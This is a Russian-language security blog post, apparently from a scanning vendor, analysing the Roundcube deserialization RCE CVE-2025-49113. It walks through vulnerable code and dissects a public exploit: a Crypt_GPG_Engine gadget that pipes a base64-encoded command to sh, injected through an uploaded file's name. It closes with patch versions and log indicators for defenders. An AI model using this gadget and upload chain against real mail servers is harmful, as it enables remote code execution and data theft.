Если ваша инфраструктура использует Roundcube, обновление — не опция, а необходимость. Патч стоит минут, а компрометация системы — миллионов.
Exploiting Roundcube – CVE-2025-49113
Roundcube — один из самых популярных open-source веб-клиентов для электронной почты. Он появился ещё в середине 2000-х и до сих пор используется тысячами компаний во всём мире. Простота внедрения, отсутствие лицензий и привычный интерфейс сделали его простым и удобным решением для организации почты. Но вместе с этим Roundcube тащит за собой и наследие старого кода — а значит, и новые уязвимости.

Введение
Roundcube — один из самых популярных open-source веб-клиентов для электронной почты. Он появился ещё в середине 2000-х и до сих пор используется тысячами компаний во всём мире. Простота внедрения, отсутствие лицензий и привычный интерфейс сделали его простым и удобным решением для организации почты. Но вместе с этим Roundcube тащит за собой и наследие старого кода — а значит, и новые уязвимости.
Одна из таких — CVE-2025-49113, уже успевшая стать громкой историей.
Суть уязвимости
Проблема скрывается в файле upload.php, а именно в том, как обрабатывается параметр _from. Некорректная фильтрация открывает путь к PHP Object Deserialization, то есть злоумышленник может передать специально сформированные данные и заставить сервер выполнить произвольный код.
Уязвимости подвержены все версии, начиная с 1.1.0 до 1.5.9, и с 1.6.x до 1.6.10
Технический анализ
Для лучшего понимания уязвимости взглянем на отрывки кода приложения ДО патча и составим цепочку, приводящую к небезопасной сереализации. Держим в голове, что уязвимость доступна авторизованному пользователю:
1. Функция run() в файле program/actions/settings/upload.php принимает пользовательский параметр __from и присваивает его значение переменной $from
public function run($args = []) { $rcmail = rcmail::get_instance(); $uploadid = rcube_utils::get_input_string('_uploadid', rcube_utils::INPUT_GET); $from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
2. Затем проводится базовая санитизация его значения – удаляются вхождения add- и edit- , а точки заменяются на тире, после чего результат кладется в $type
$type = preg_replace('/(add|edit)-/', '', $from); // Plugins in Settings may use this file for some uploads (#5694) // Make sure it does not contain a dot, which is a special character // when using rcube_session::append() below $type = str_replace('.', '-', $type); // Supported image format types $IMAGE_TYPES = explode(',', 'jpeg,jpg,jp2,tiff,tif,bmp,eps,gif,png,png8,png24,png32,svg,ico'); // clear all stored output properties (like scripts and env vars) $rcmail->output->reset(); $max_size = $rcmail->config->get($type . '_image_size', 64) * 1024;
3. Немного ниже видим вызов функции append():
$rcmail->session->→append($type . '.files', $id, $attachment);
4. Сам по себе append() выглядит весьма безобидно:
public function append($path, $key, $value) { // re-read session data from DB because it might be outdated if (!$this->reloaded && microtime(true) - $this->start > 0.5) { $this->reload(); $this->reloaded = true; $this->start = microtime(true); } $node = &$this->get_node(explode('.', $path), $_SESSION); if ($key !== null) { $node[$key] = $value; $path .= '.' . $key; } else { $node[] = $value; } $this->appends[] = $path; // when overwriting a previously unset variable if (array_key_exists($path, $this->unsets)) { unset($this->unsets[$path]); } }
5. При этом reload() вызывает функцию array_merge_recursive() , что, по сути, берет существующий массив данных из $_SESSION, берет новый массив данных из $mergedata , соединяет их и кладет результат в $_SESSION
public function reload() { // collect updated data from previous appends $merge_data = []; foreach ((array) $this->appends as $var) { $path = explode('.', $var); $value = $this->get_node($path, $_SESSION); $k = array_pop($path); $node = &$this->get_node($path, $merge_data); $node[$k] = $value; } if ($this->key) { $data = $this->read($this->key); } if (!empty($data)) { session_decode($data); // apply appends and unsets to reloaded data $_SESSION = array_merge_recursive($_SESSION, $merge_data); foreach ((array) $this->unsets as $var) { if (isset($_SESSION[$var])) { unset($_SESSION[$var]); } else { $path = explode('.', $var); $k = array_pop($path); $node = &$this->get_node($path, $_SESSION); unset($node[$k]); } } } }
Здесь мы уже видим, что наш "__from" без должной санитизации попадает в $_SESSION. Вспомогательный метод для работы с session лежит в rcube_session->unserialize

Он-то и выполнеяет десериализацию пользовательской сессии, в которую мы можем поместить подконтрольный нам объект, который, в свою очередь, не проходит должную санитизацию.
Таким образом, цепочка эксплуатации выглядит следующим образом:
Авторизуемся -> Получаем __SESSION -> Помещаем в __SESSION сериализованный объект через program/actions/settings/upload.php и параметр __from -> Вызывем session_decode , обновляя страницу -> session_decode вызывает unserialize() и та, в свою очередь, десериализует подконтрольный нам объект -> Мы получаем RCE
Разбираем эксплоит
Для лучшего понимания атаки разберем один из публичных эксплоитов для этой уявзимости.
1. Класс-гаджет Crypt_GPG_Engine
В начале скрипта описывается конструктор, который принимает команду, кодирует её в base64 и упаковывает в строку, которая при вызове интерпретируется через sh.
class Crypt_GPG_Engine { public $_process = false; public $_gpgconf = ''; public $_homedir = ''; public function __construct($_gpgconf) { $_gpgconf = base64_encode($_gpgconf); $this->_gpgconf = "echo \"{$_gpgconf}\"|base64 -d|sh;#"; } public function gadget() { return '|'. serialize($this) . ';'; } }
Метод gadget() возвращает сериализованный объект. Именно он вставляется в параметр _from, который Roundcube впоследствии десериализует.
Это типичный пример PHP Object Injection: сервер при десериализации вызовет внутреннюю логику, ведущую к RCE.
2. Проверка версии
function checkVersion($baseUrl) { // ... preg_match('/"rcversion":(\d+)/', $response, $matches); // ... }
Перед эксплуатацией скрипт проверяет, относится ли установленный Roundcube к уязвимым версиям (1.5.x и 1.6.x до 1.6.10).
3. Авторизация
function login($baseUrl, $user, $pass) { // получает cookies roundcube_sessid и roundcube_sessauth }
Для атаки требуются валидные учётные данные. Эксплоит логинится, извлекает CSRF-токен и куки сессии (roundcube_sessid, roundcube_sessauth), которые потом используются при отправке запроса.
4. Загрузка вредоносного «изображения»
function uploadImage($baseUrl, $sessionCookie, $authCookie, $gadget) { $uploadUrl = $baseUrl . '/?_task=settings&_framed=1&_remote=1&_from=edit-!xxx&_id=&_uploadid=...&_action=upload'; // ... "Content-Disposition: form-data; name=\"_file[]\"; filename=\"" . $gadget . "\"\r\n" }
Ключевой момент: ранее построенный объект-гаджет внедряется в имя загружаемого файла.
Сам файл — безобидная PNG-картинка, в base64. В момент обработки сервер извлекает это значение и десериализует — что и запускает выполнение команды.
5. exploit()
function exploit($baseUrl, $user, $pass, $rceCommand) { checkVersion($baseUrl); $gpgEngine = new Crypt_GPG_Engine($rceCommand); $gadget = $gpgEngine->gadget(); $cookies = login($baseUrl, $user, $pass); uploadImage($baseUrl, $cookies['sessionCookie'], $cookies['authCookie'], $gadget); }
Итоговый алгоритм:
- Проверка версии
- Формирование гаджета с вредоносной командой.
- Логин под учётной записью.
- Загрузка PNG-файла с вредоносным именем.
- Получение RCE.
Защита
Обновиться до 1.5.10 / 1.6.11 (официальные security-релизы). В новых релизах:
- обновлена валидация значения параметра
__from - проверка, что значение параметра
__from– simple_string - дополнительный тест на simple_string
Если обновление не предоставляется возможным – закрыть эндпоинт program/actions/settings/upload.php на уровне веб-сервера / Firewall.
Что мониторить в логах веб-сервера/прокси:
Пики запросов к program/actions/settings/upload.php,
Нестандартные/длинные значения _from, особенно содержащие признаки сериализованных строк (O:, a:, s:, i:, ;, :{),
Резкий рост 500/502 вокруг вызовов upload-веток.
Заключение
Эта уязвимость ещё раз подчёркивает простую истину: безопасность не в количестве фаерволов и антивирусов, а в дисциплине обновлений и внимательном отношении к базовым процессам. Там, где администратор откладывает патч «на потом», злоумышленник уже сегодня тестирует готовый эксплойт.
Metascan уже использует шаблон для обнаружения данной уязвимости, что, при должном реагировании, нивелирует уровень угрозы от этой уязвимости для наших клиентов.
